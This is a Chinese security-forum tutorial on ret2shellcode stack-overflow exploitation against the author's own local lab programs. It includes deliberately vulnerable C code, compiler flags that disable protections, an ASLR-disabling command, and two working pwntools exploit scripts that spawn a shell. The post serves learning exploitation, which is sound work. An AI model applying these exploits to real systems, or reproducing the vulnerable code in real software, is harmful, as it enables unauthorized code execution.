安全矩阵

 找回密码
 立即注册
搜索
查看: 3170|回复: 0

与ret2shellcode的初相识

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-5-12 17:47:18 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-5-12 17:51 编辑

文章首发于freebuf:与ret2shellcode的初相识

0×00 ret2shellcode简介ret2shellcode,也就是return to shellcode,在执行完某个函数之后,跳到shellcode上,达到get shell的目的。
ret2shellcode关键在于我们找到一个可读可写可执行的缓冲区,接下来把我们的shellcode放到这个缓冲区,然后跳转到我们的shellcode处执行 。

0×01 示例一先看一个存在栈溢出的c语言程序
  1. #include
  2. #include
  3. char str1[0x40];
  4. void func()
  5. {
  6.             char str[0x40];
  7.             read(0,str,0x60);
  8.             strcpy(str1,str);
  9. }
  10. int main()
  11. {
  12.             func();
  13.             return 0;
  14. }
复制代码

我们可以看到这个程序,str1就是我们找到的那段可读可写可执行的缓冲区,那我们可以写一段shellcode放到str1中,在发生溢出时把返回地址写成str1的地址,那就会执行shellcode。
进行编译
  1. gcc -no-pie -fno-stack-protector -z execstack -m32 -o 6.exe 6.c
复制代码
注释:
  1. -no-pie:关闭地址随机化
  2. -fno-stack-protector:没有堆栈保护
  3. -z execstack:堆栈可执行
  4. -m32: 32位
复制代码
编译完成之后,顺便 checksec 6.exe,接下来查看一下保护机制,


定位溢出点在func处加个断点,cyclic 200,生成100个随机字符,继续r

继续执行之后,将上面生成的字符串复制进去


生成shellcode的方法方法1:用pwntool或者peda和msfpc或者msfvenom工具生成,支持上线,最好越短越好
例如用pwntool中的shellcraft.sh(),再转汇编字节码asm(),也就是asm(shellcraft.sh()),本例中的exp就使用了这个
方法2:手写,其实网上一搜到处都是,可以直接用,但自己要在windows里面自己调试提取 ,就是想办法调用evecve(“/bin/sh”,null,null);
写exp
  1. from pwn import *
  2. context(arch="i386",os="linux")
  3. p=process('./6.exe')
  4. offset = 76
  5. shellcode=asm(shellcraft.sh())
  6. payload =shellcode.ljust(offset,'\x90')+p32(0x804c060)
  7. p.sendline(payload)
  8. p.interactive()
复制代码

可以单独看一下payload的写法,因为shellcode的长度不足以达到76,所以剩余的部分用\x90代替,制造一段nop导轨,直接滑到shellcode上去执行
运行一下,get shell!

0×02 用jmp esp构造payload先看c语言程序:
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <sys/types.h>
  4. #include <unistd.h>
  5. #include <sys/syscall.h>
  6. void exploit()
  7. {
  8.     system("/bin/sh");
  9. }
  10. void func()
  11. {
  12.         char str1[0x40];
  13.         read(0,str1,0x80);  
  14. }
  15. int main()
  16. {
  17.         func();
  18.         return 0;
  19. }
复制代码

大致思路:可以发现在read函数这里会发生溢出,并且代码里有system(”/bin/sh”),那我们让返回地址恰好是system(”/bin/sh”)的地址,就能利用这个溢出
先echo 0 >/proc/sys/kernel/randomize_va_space,关闭内存地址随机化机制,为了保证system(”/bin/sh”)在内存中的地址不发生改变
然后按照与 示例一 一样的方法进行编译,然后start
定位溢出点的方法也一样,可以得到溢出点的位置是76


接下来找 jmp esp的地址,在peda下输入下面的命令:
  1. asmsearch "jmp esp"
复制代码
找到一个jmp esp的地址


写exp
  1. from pwn import *
  2. context(arch="i386",os="linux")
  3. p=process('./8.exe')
  4. offset = 76
  5. shellcode=asm(shellcraft.sh())   
  6. add_jmpesp=p32(0x080b001f)            //找到的jmp esp的地址
  7. payload ='\x90'*offset+add_jmpesp+shellcode     
  8. p.sendline(payload)
  9. p.interactive()
复制代码

可以看到我们在构造payload的时候并没有直接到shellcode上去,而是先去执行jmp esp,而此时栈顶恰好就是shellcode的首地址,也就是说执行完jmp esp,再去执行shellocde,这是一种动态定位的方法。如下图,成功运行并get shell!


0×03 总结1.本文主要描述了ret2shellcode的相关原理和实例,关键的一点还在于我们找到一个可读可写可执行的缓冲区,接下来把我们的shellcode放到这个缓冲区,然后跳转到我们的shellcode上执行
2.两种生成shellcode的方法:
(1)用pwntool或者peda和msfpc或者msfvenom工具生成
(2)自己手写或从网上copy

3.可以用jmp esp构造payload,动态定位shellcode的地址

路虽远,行则至!今天终于在安全主流媒体上发表文章,勇敢的迈出了第一步,信安小白投的第一篇文章献丑了,若有不足之处还请各位大牛多多指出!



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 14:15 , Processed in 0.019599 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表